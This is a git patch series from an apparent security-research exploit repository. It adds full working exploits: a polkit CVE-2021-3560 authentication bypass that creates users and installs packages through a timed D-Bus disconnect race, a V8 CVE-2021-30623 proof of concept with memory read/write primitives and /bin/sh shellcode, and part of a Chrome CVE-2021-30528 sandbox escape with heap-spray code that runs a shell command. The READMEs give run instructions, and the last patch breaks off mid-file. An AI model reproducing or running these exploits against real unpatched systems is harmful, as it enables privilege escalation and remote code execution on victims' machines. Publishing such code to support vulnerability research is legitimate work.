const char* password = cryptdata.output; + + if (username_exists(uid, filename, username)) { + fprintf( + stderr, + "Error: username %s already exists.\n" + "Please try again with a different username.\n", + username + ); + return EXIT_FAILURE; + } + + std::string userpath = exploit_CreateUser(uid, filename, username); + exploit_SetPassword(uid, filename, userpath.c_str(), password); + + return EXIT_SUCCESS; +} diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/installpackage.cpp b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/installpackage.cpp new file mode 100644 index 0000000..ce44bca --- /dev/null +++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/installpackage.cpp @@ -0,0 +1,346 @@ +#include "dbus_utils.hpp" +#include "dbus_auth.hpp" +#include "parse.hpp" +#include "utils.hpp" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +class DBusSocket : public AutoCloseFD { +public: + DBusSocket(const uid_t uid, const char* filename) : + AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0)) + { + if (get() < 0) { + throw ErrorWithErrno("Could not create socket"); + } + + sockaddr_un address; + memset(&address, 0, sizeof(address)); + address.sun_family = AF_UNIX; + strcpy(address.sun_path, filename); + + if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) { + throw ErrorWithErrno("Could not connect socket"); + } + + dbus_sendauth(uid, get()); + + dbus_send_hello(get()); + std::unique_ptr hello_reply1 = receive_dbus_message(get()); + std::string name = hello_reply1->getBody().getElement(0)->toString().getValue(); + std::unique_ptr hello_reply2 = receive_dbus_message(get()); + } +}; + +static void send_AddMatch( + const int fd, + const char* objectpath, + const char* member, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk1( + DBusObjectString::mk( + _s("type='signal',sender='org.freedesktop.PackageKit',") + + _s("path='") + _s(objectpath) + + _s("',member='") + _s(member) + "'" + ) + ), + _s("/org/freedesktop/DBus"), + _s("org.freedesktop.DBus"), + _s("org.freedesktop.DBus"), + _s("AddMatch") + ); + + std::unique_ptr reply = receive_dbus_message(fd); + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("AddMatch returned an error."); + } +} + +static std::string send_PackageKit_CreateTransaction( + const int fd, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk0(), + _s("/org/freedesktop/PackageKit"), + _s("org.freedesktop.PackageKit"), + _s("org.freedesktop.PackageKit"), + _s("CreateTransaction") + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("FindUserByName returned an error."); + } + + return reply->getBody().getElement(0)->toPath().getValue(); +} + +void send_PackageKit_InstallPackage( + const int fd, + const char* objectpath, + const char* packagename, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectUint64::mk(0x2), + DBusObjectArray::mk1( + _vec>( + DBusObjectString::mk(_s(packagename)) + ) + ) + ) + ), + _s(objectpath), + _s("org.freedesktop.PackageKit.Transaction"), + _s("org.freedesktop.PackageKit"), + _s("InstallPackages") + ); +} + +static void send_PackageKit_SearchName( + const int fd, + const char* objectpath, + const char* packagename, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectUint64::mk(0), + DBusObjectArray::mk1( + _vec>( + DBusObjectString::mk(_s(packagename)) + ) + ) + ) + ), + _s(objectpath), + _s("org.freedesktop.PackageKit.Transaction"), + _s("org.freedesktop.PackageKit"), + _s("SearchNames") + ); +} + +// Most of the PackageKit methods take a "package_id" as an argument. This +// is an example of a package_id: +// +// bash;5.1-2ubuntu1;amd64;installed:ubuntu-hirsute-main +// +// This function calls the "SearchName" method to find the correct +// package_id for the package that we want to install. The SearchName +// method is a bit annoying to use because it uses signals to reply. So we +// have to use "AddMatch" to intercept the reply. +static std::string lookup_package_id( + const uid_t uid, + const char* socket_filename, + const char* packagename, + bool* is_installed // out parameter +) { + DBusSocket fd(uid, socket_filename); + + *is_installed = false; + + std::string transaction_id = + send_PackageKit_CreateTransaction(fd.get(), 1001); + printf("lookup_package_id: transaction_id = %s\n", transaction_id.c_str()); + + // Add listeners for the "Package" and "Finished" signals. + send_AddMatch(fd.get(), transaction_id.c_str(), "Package", 1002); + send_AddMatch(fd.get(), transaction_id.c_str(), "Finished", 1002); + + // Call the method. + send_PackageKit_SearchName(fd.get(), transaction_id.c_str(), packagename, 1003); + + // Loop until we receive the "Package" signal or the "Finished" signal. + while (true) { + std::unique_ptr signal = receive_dbus_message(fd.get()); + + if (signal->getHeader_messageType() == MSGTYPE_METHOD_RETURN) { + // Ignore. The SearchName method sends a reply containing no + // useful information. + } else if (signal->getHeader_messageType() == MSGTYPE_SIGNAL) { + const char* member = + signal->getHeader_lookupField(MSGHDR_MEMBER).getValue()->toString().getValue().c_str(); + if (strcmp(member, "Package") == 0) { + const char* package_id = + signal->getBody().getElement(1)->toString().getValue().c_str(); + printf("package_id: %s\n", package_id); + const size_t packagename_len = strlen(packagename); + if (strncmp(packagename, package_id, packagename_len) == 0) { + if (package_id[packagename_len] == ';') { + uint32_t info = signal->getBody().getElement(0)->toUint32().getValue(); + if (info == 1) { + *is_installed = true; + } + return _s(package_id); + } + } + } else if (strcmp(member, "Finished") == 0) { + throw Error("lookup_package_id failed: package not found"); + } else { + throw Error("lookup_package_id failed: unexpected signal type"); + } + } else { + throw Error("lookup_package_id failed: unexpected message type"); + } + } +} + +// Record the amount of time it takes to get a response from the +// InstallPackage method. The response will be an error because +// it will be denied by polkit. This response time gives us an upper +// bound on how long we need to wait before disconnecting when we +// attempt to trigger the bug. +static long record_time_InstallPackage( + const uid_t uid, + const char* socket_filename, + const char* package_id +) { + DBusSocket fd(uid, socket_filename); + + std::string transaction_id = + send_PackageKit_CreateTransaction(fd.get(), 1001); + printf("record_time_InstallPackage: transaction_id = %s\n", transaction_id.c_str()); + + // Start a timer. + timespec starttime; + clock_gettime(CLOCK_MONOTONIC, &starttime); + + send_PackageKit_InstallPackage(fd.get(), transaction_id.c_str(), package_id, 1003); + std::unique_ptr reply = receive_dbus_message(fd.get()); + + // Stop the timer. + timespec endtime; + clock_gettime(CLOCK_MONOTONIC, &endtime); + + // Calculate the time difference. + long diff = + (1000000000 * (endtime.tv_sec - starttime.tv_sec)) + + (endtime.tv_nsec - starttime.tv_nsec); + + return diff; +} + +// This function calls the InstallPackage method, but doesn't wait for the +// reply. Instead it disconnects from D-Bus after the specified number of +// nanoseconds. If we get lucky with the timing of the delay, it will +// hopefully trigger the bug and bypass polkit. +static void attempt_InstallPackage_with_disconnect( + const uid_t uid, + const char* socket_filename, + const char* package_id, + const long delay +) { + DBusSocket fd(uid, socket_filename); + + std::string transaction_id = + send_PackageKit_CreateTransaction(fd.get(), 1001); + printf("attempt_InstallPackage_with_disconnect: transaction_id = %s\n", transaction_id.c_str()); + + timespec duration; + duration.tv_sec = delay / 1000000000; + duration.tv_nsec = delay % 1000000000; + + send_PackageKit_InstallPackage(fd.get(), transaction_id.c_str(), package_id, 1003); + clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0); + + // Returning from this function automatically disconnects us from D-Bus + // because DBusSocket's destructor closes the file descriptor. +} + +// Keep trying `attempt_InstallPackage_with_disconnect` with different +// delay values until the exploit succeeds (or we decide to give up). +static void exploit_InstallPackage( + const uid_t uid, + const char* socket_filename, + const char* packagename +) { + bool is_installed = false; + std::string package_id = + lookup_package_id(uid, socket_filename, packagename, &is_installed); + if (is_installed) { + printf("Package %s is already installed.\n", packagename); + return; + } + + // First measure how long a regular CreateUser method call takes. + const long elapsed = + record_time_InstallPackage(uid, socket_filename, package_id.c_str()); + printf("Elapsed time: %ld nanoseconds\n", elapsed); + + // Random number generator which will generate random + // pause times in the range 0 .. 2*elapsed. + std::random_device rd; + std::mt19937 gen(rd()); + std::uniform_int_distribution distrib(0, 2*elapsed); + + // If it doesn't succeed after 1000 attempts then it probably + // isn't going to work. + for (size_t i = 0; i < 1000; i++) { + const long delay = distrib(gen); + attempt_InstallPackage_with_disconnect(uid, socket_filename, package_id.c_str(), delay); + + // Check if the package has been installed. + bool is_installed = false; + lookup_package_id(uid, socket_filename, packagename, &is_installed); + if (is_installed) { + printf("Success!\n"); + return; + } + } + + throw Error("Failed to install package."); +} + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 3) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket gnome-control-center\n", + progname, + progname + ); + return EXIT_FAILURE; + } + + const uid_t uid = getuid(); + const char* socket_filename = argv[1]; + const char* packagename = argv[2]; + + exploit_InstallPackage(uid, socket_filename, packagename); + + return EXIT_SUCCESS; +} From 8d05d80328eb510a9eb2e8564b3b67810a76183c Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 21 Sep 2021 15:31:03 +0100 Subject: [PATCH 037/140] Initial commit. --- .../Chrome/v8/CVE-2021-30623/README.md | 61 ++++++++++ .../Chrome/v8/CVE-2021-30623/poc.js | 112 ++++++++++++++++++ 2 files changed, 173 insertions(+) create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-30623/README.md create mode 100644 SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md new file mode 100644 index 0000000..421f8a0 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md @@ -0,0 +1,61 @@ +## Chrome in-the-wild bug CVE-2021-30623 + +The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30623). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild. + +The exploit here is tested on `v8` version 9.3.345.16 (commit `632e6e7`), which is the version shipped with Chrome 93.0.4577.63, the one before the bug is fixed, on Ubuntu 20.04. I have not tested it on Chrome itself. + +To test, check out `v8` at commit `632e6e7` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`: + +``` +./d8 poc.js +``` + +On Ubuntu 20.04, it should call `execve("/bin/sh")` to spawn a new process: + +``` +./d8 poc.js +instance: 81d42dd +elements: 804abd9 +rwx page address: 22c70c88b000 +intArray addr: 8105d79 +intBackingStore: 56498ceb25e0 +$ +``` + +Shell code may need changing on other platforms. + +The exploit is very reliable, however, when testing, I notice that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifest itself with some garbage values of the addresses, for example: + +``` +instance: 81d42dd +elements: 800222d +rwx page address: 3ff199999999999a +intArray addr: 81067e1 +intBackingStore: 3ff199999999999a +``` + +In the above, address of `rwx page` and `initBackingStore` are clearly incorrect. The root cause seems to be an incorrect `elements` store value. (`800222d` is not a valid value) This can usually be fixed by changing the following lines regarding the address of elements: + +``` +function arbRead(addr) { + [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); + oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); + return writeArr[0]; +} +... +function writeShellCode(rwxAddr, shellArr) { + var intArr = new Uint8Array(400); + var intArrAddr = addrOf(intArr); + console.log("intArray addr: " + intArrAddr.toString(16)); + var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); + console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16)); + + [elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); + oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); + ... +} +... +var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1]; +``` + +This, however, does not affect the reliability of the exploit as the offsets are stable as long as the file is fixed, but it may cause issues the poc is modified. I do not know what causes this, but the exploit can probably be made more robust against this by matching pattern in memory instead of relying on fixed offsets. diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js b/SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js new file mode 100644 index 0000000..e17dde5 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/poc.js @@ -0,0 +1,112 @@ +var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); +var module = new WebAssembly.Module(code); +var instance = new WebAssembly.Instance(module); +var main = instance.exports.main; + +function foo(y) { + x = y; +} + +function oobRead() { + //addrOf b[0] and addrOf writeArr::elements + return [x[20],x[24]]; +} + +function oobWrite(addr) { + x[24] = addr; +} + +var arr0 = new Array(10); arr0.fill(1);arr0.a = 1; +var arr1 = new Array(10); arr1.fill(2);arr1.a = 1; +var arr2 = new Array(10); arr2.fill(3); arr2.a = 1; + +var x = arr0; + +var arr = new Array(30); arr.fill(4); arr.a = 1; +var b = new Array(1); b.fill(1); +var writeArr = [1.1]; + +for (let i = 0; i < 19321; i++) { + if (i == 19319) arr2[0] = 1.1; + foo(arr1); +} + +x[0] = 1.1; + +for (let i = 0; i < 20000; i++) { + oobRead(); +} + +for (let i = 0; i < 20000; i++) oobWrite(1.1); +foo(arr); + +var view = new ArrayBuffer(24); +var dblArr = new Float64Array(view); +var intView = new Int32Array(view); +var bigIntView = new BigInt64Array(view); +b[0] = instance; +var addrs = oobRead(); + +function ftoi32(f) { + dblArr[0] = f; + return [intView[0], intView[1]]; +} + +function i32tof(i1, i2) { + intView[0] = i1; + intView[1] = i2; + return dblArr[0]; +} + +function itof(i) { + bigIntView = BigInt(i); + return dblArr[0]; +} + +function ftoi(f) { + dblArr[0] = f; + return bigIntView[0]; +} + + +dblArr[0] = addrs[0]; +dblArr[1] = addrs[1]; + +function addrOf(obj) { + b[0] = obj; + let addrs = oobRead(); + dblArr[0] = addrs[0]; + return intView[1]; +} + +function arbRead(addr) { + [elements, addr1] = ftoi32(addrs[1]); + oobWrite(i32tof(addr,addr1)); + return writeArr[0]; +} + +function writeShellCode(rwxAddr, shellArr) { + var intArr = new Uint8Array(400); + var intArrAddr = addrOf(intArr); + console.log("intArray addr: " + intArrAddr.toString(16)); + var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); + console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16)); + + [elements, addr1] = ftoi32(addrs[1]); + oobWrite(i32tof(intArrAddr + 0x20, addr1)); + writeArr[0] = rwxAddr; + for (let i = 0; i < shellArr.length; i++) { + intArr[i] = shellArr[i]; + } +} + +var instanceAddr = addrOf(instance); +var elementsAddr = ftoi32(addrs[1])[0]; +console.log("instance: " + instanceAddr.toString(16)); +console.log("elements: " + elementsAddr.toString(16)); +var rwxAddr = arbRead(instanceAddr + 0x60); +console.log("rwx page address: " + ftoi(rwxAddr).toString(16)); +var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5]; + +writeShellCode(rwxAddr, shellCode); +main(); From 158db46ebb43613d64a73360373f6780f04204ba Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 21 Sep 2021 16:21:50 +0100 Subject: [PATCH 038/140] Initial commit. --- .../SandboxEscape/CVE-2021-30528/README.md | 27 +++ .../CVE-2021-30528/aarch64/README.md | 47 ++++ .../aarch64/arm64_renderer.patch | 213 ++++++++++++++++++ .../CVE-2021-30528/aarch64/browser.patch | 28 +++ .../CVE-2021-30528/aarch64/trigger.html | 14 ++ .../CVE-2021-30528/aarch64/trigger2_64.html | 81 +++++++ .../CVE-2021-30528/arm/README.md | 49 ++++ .../CVE-2021-30528/arm/arm_renderer.patch | 201 +++++++++++++++++ .../CVE-2021-30528/arm/browser.patch | 28 +++ .../CVE-2021-30528/arm/trigger.html | 14 ++ .../CVE-2021-30528/arm/trigger2_88.html | 72 ++++++ .../CVE-2021-30528/copy_mojo_js_bindings.py | 20 ++ 12 files changed, 794 insertions(+) create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html create mode 100644 SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md new file mode 100644 index 0000000..bb58e55 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md @@ -0,0 +1,27 @@ +## Chrome Sandbox Escape CVE-2021-30528 + +The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a bug Chrome I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer. + +Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories. + +To test, follow the instructions for the corresponding versions to build the binary, then install the resulting apks (under `out//apks`) on the phone using `adb`, then enable the `MojoJS` feature to simulate a compromised renderer: + +1. Enable `Enable command line on non-rooted devices` from `chrome://flags` +2. Create a file in `/data/local/tmp/chrome-command-line` in the phone and then add `chrome --enable-blink-features=MojoJS` to the file +3. Force stop Chrome and restart + +As explained in the [write up](https://securitylab.github.com/research/chrome_sbx_java), this bug requires a credit card to be stored in the user account. To simulate the behaviour locally, a patch is applied to the browser side code to treat a local card as a remote card. This still requires a credit card to store on the tested device as a payment method. I do not recommend using real card details for this purpose. For testing, the following steps can be used: + +1. In the testing version of Chrome, go to `Settings > Payment Methods` and select `Add card`. +2. Enter `4111 1111 1111 1111` as the card number, this should be recognized as a Visa card. (I found this in some code comment and I can only hope that this is not the real card number of some dedicated developer) + +Then create a directory to host the `html` files included in this directory, and run `copy_mojo_js_bindings.py` to copy the mojo bindings to the directory and host the files on localhost: + +``` +python ./copy_mojo_js_bindings.py /path/to/chrome/../out//gen +python -m SimpleHTTPServer +``` + +Then open the page `http://localhost:8000/trigger2_64.html` or `http://localhost:8000/trigger2_32.html` (depending on the version) from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url. + +If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should success most of the time. diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md new file mode 100644 index 0000000..4bd332a --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md @@ -0,0 +1,47 @@ +## 64 bit version + +The 64 bit version 90.0.4430.91 of Chrome is tested with Samsung Galaxy A71 firmware version A715FXXU3BUB5. + +The offsets included in `arm64_renderer.patch` are with respect to this firmware. The `arm64_renderer.patch` is used to simulate a compromised renderer. + +The patch `browser.patch` patches the browser to make local testing more convenient. It does the following: +1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device): + +``` +@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() { + #if !defined(OS_IOS) + // No need to fetch details if there are no server cards. + if (!ServerCardsAvailable()) +- return; ++// return; + +``` + +2. It removes the requirement for secure content, which would require a properly set up https context. (Self signing certificate for localhost does not pass this) + +``` +@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( + return; + } + +- context->is_context_secure = !IsFormNonSecure(form); ++// context->is_context_secure = !IsFormNonSecure(form); ++ context->is_context_secure = true; ++ + +``` + +These are only for the convenience of local testing and are not a requirement of the vulnerability. + +After applying both of these patches, build Chrome version 90.0.4430.91 with the following build config (`args.gn`): + +``` +target_os = "android" +target_cpu = "arm64" +is_java_debug = false +is_debug = false +symbol_level = 1 +blink_symbol_level = 1 +``` + +then follow the instructions in `README.md` of the parent directory to test. diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch new file mode 100644 index 0000000..f076cb0 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/arm64_renderer.patch @@ -0,0 +1,213 @@ +diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc +index 59204c4d8db3..6c50421a6c78 100644 +--- a/third_party/blink/renderer/core/frame/dom_window.cc ++++ b/third_party/blink/renderer/core/frame/dom_window.cc +@@ -43,6 +43,56 @@ + #include "third_party/blink/renderer/platform/weborigin/kurl.h" + #include "third_party/blink/renderer/platform/weborigin/security_origin.h" + ++ ++#include "ui/gfx/geometry/rect_f.h" ++#include "base/strings/utf_string_conversions.h" ++#include "content/public/renderer/render_frame.h" ++#include "content/renderer/render_frame_impl.h" ++#include "content/public/renderer/render_frame_visitor.h" ++#include "content/renderer/frame_owner_properties_converter.h" ++#include "content/renderer/render_frame_proxy.h" ++#include "components/autofill/core/common/mojom/autofill_types.mojom.h" ++#include "components/autofill/content/common/mojom/autofill_agent.mojom.h" ++#include "components/autofill/content/common/mojom/autofill_driver.mojom.h" ++ ++#include "components/autofill/core/common/password_generation_util.h" ++#include "components/autofill/core/common/form_data.h" ++#include "components/autofill/core/common/renderer_id.h" ++#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h" ++ ++#include "third_party/ashmem/ashmem.h" ++#include ++#include "third_party/blink/renderer/core/mojo/mojo.h" ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h" ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h" ++ ++#include "base/single_thread_task_runner.h" ++#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h" ++#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h" ++#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h" ++#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h" ++#include "third_party/blink/public/platform/web_url_loader.h" ++#include "third_party/blink/renderer/platform/heap/persistent.h" ++#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h" ++#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h" ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h" ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h" ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h" ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h" ++#include "third_party/blink/renderer/platform/mojo/mojo_binding_context.h" ++#include "third_party/blink/renderer/platform/platform_export.h" ++#include "third_party/blink/renderer/platform/timer.h" ++#include "third_party/blink/renderer/platform/wtf/hash_map.h" ++#include "third_party/blink/renderer/platform/wtf/hash_set.h" ++#include "third_party/blink/renderer/platform/wtf/text/string_hash.h" ++#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h" ++ ++#include "mojo/core/core.h" ++#include "mojo/public/c/system/data_pipe.h" ++ ++#include ++#include ++ + namespace blink { + + DOMWindow::DOMWindow(Frame& frame) +@@ -55,6 +105,135 @@ DOMWindow::~DOMWindow() { + DCHECK(!frame_); + } + ++ ++//--------------Spray virtual memory---------------------------- ++static uint64_t findLibOffset(const std::string& lib) { ++ std::ifstream file("/proc/self/maps"); ++ CHECK(file.is_open()) << "Cannot open /proc/self/maps"; ++ std::string line; ++ std::string addr; ++ while (std::getline(file, line)) { ++ if (line.find(lib) != std::string::npos) { ++ LOG(ERROR) << "found "<< lib << line; ++ int pos = line.find("-"); ++ std::string addrStr = line.substr(0,pos); ++ uint64_t offset = std::stol(addrStr, nullptr, 16); ++ LOG(ERROR) << addrStr << " : " << offset; ++ return offset; ++ } ++ } ++ CHECK(false) << "Cannot find " << lib << " offset"; ++ return 0; ++} ++ ++//Same as the heuristics used in javascript. ++static uint64_t computeControlledAddress(uint64_t addr) { ++ uint64_t sprayedAddr = addr - 0x1000000000; ++ uint64_t fillAddr = sprayedAddr/0x100000000; ++ return fillAddr * 0x100000000; ++} ++ ++static int mapAndInitializeSharedMem(uint64_t* addr) { ++ size_t pageSize = 0x1000; ++ size_t hugePageSize = 0x8000000; ++ uint64_t libhwuiOffset = findLibOffset("libhwui.so"); ++ uint64_t libcOffset = findLibOffset("libc.so"); ++ ++//A71 specific offsets-------------------- ++ uint64_t executeOffset = 0x8ce318; ++ uint64_t systemOffset = 0x60ac8; ++//------------------------------------------ ++ int fd = ashmem_create_region("spray_region", hugePageSize); ++ for (size_t i = 0; i < hugePageSize/pageSize; i++) { ++ uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize); ++ CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i; ++ if (i == 0) *addr = (uint64_t)mapped; ++ memset(mapped, 0x00, pageSize); ++ uint64_t* execute = (uint64_t*)(mapped + 8); ++ *execute = executeOffset + libhwuiOffset; ++ //Fake webpworker ++ uint64_t* hook = (uint64_t*)(mapped + 0x10); ++ *hook = systemOffset + libcOffset; ++ uint64_t controlledAddr = computeControlledAddress(*addr); ++ uint64_t* data = (uint64_t*)(mapped + 0x18); ++ *data = controlledAddr + 0x100; ++ char cmd[] = "touch /data/data/org.chromium.chrome/pwn"; ++ memcpy(mapped + 0x100, cmd, strlen(cmd) + 1); ++ } ++ return fd; ++} ++ ++static std::vector createDataPipes(int pipeNum, std::vector& fd) { ++ std::vector handles; ++ for (int i = 0; i < pipeNum; i++) { ++ MojoCreateDataPipeOptions options; ++ options.setElementNumBytes(1); ++ options.setCapacityNumBytes(0x1000); ++ MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options); ++ handles.push_back(result->consumer()->TakeHandle()); ++ } ++ return handles; ++} ++ ++ ++static uint64_t sprayVirtualMem() { ++ int dupNum = 200; ++ uint64_t addr = 0; ++ int fd = mapAndInitializeSharedMem(&addr); ++ std::vector fds; ++ for (int i = 0; i < dupNum; i++) { ++ fds.push_back(dup(fd)); ++ } ++ std::vector handles = createDataPipes(dupNum, fds); ++ mojo::core::Core* core = mojo::core::Core::Get(); ++ for (size_t i = 0; i < handles.size(); i++) { ++ scoped_refptr dispatcher = core->GetDispatcher(handles[i]->value()); ++ uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get()); ++ int offset = 160; ++ *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]); ++ uint64_t* dispatcherPtrWide = (uint64_t*)(dispatcher.get()); ++ *(dispatcherPtrWide + (offset + 24)/sizeof(uint64_t)) = 0x8000000; ++ ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 16); ++ options->element_num_bytes = 0x8000000; ++ options->capacity_num_bytes = 0x8000000; ++ } ++ ++ ++ mojo::Remote blob_registry; ++ Platform::Current()->GetBrowserInterfaceBroker()->GetInterface( ++ blob_registry.BindNewPipeAndPassReceiver()); ++ for (int i = 0; i < dupNum; i++) { ++ blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing()); ++ } ++ return addr; ++} ++//---------------------------------------------------------------------- ++ ++//Triggering bug ++static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) { ++ blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces(); ++ mojo::AssociatedRemote autofill_driver; ++ provider->GetInterface(&autofill_driver); ++ autofill::FormData form; ++ autofill::FormFieldData field; ++ field.autocomplete_attribute = "cc-number"; ++ form.fields.push_back(field); ++ form.url = GURL("https://www.aaa.com"); ++ autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false); ++} ++ ++static void RenderFrameHost_test() { ++ struct TriggerVisitor : public content::RenderFrameVisitor { ++ bool 